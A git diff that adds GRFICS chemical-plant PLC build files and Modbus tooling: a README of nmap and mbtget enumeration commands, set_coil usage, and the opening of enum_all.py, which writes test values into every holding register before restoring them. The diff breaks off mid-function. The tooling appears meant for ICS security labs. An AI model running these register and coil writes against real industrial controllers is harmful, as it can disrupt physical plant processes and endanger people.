+330;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so new file mode 100755 index 0000000..bc7c666 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 new file mode 100644 index 0000000..696d5fd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +81603cc6aa5246c5832cb83ffc8de1bd \ No newline at end of file diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return 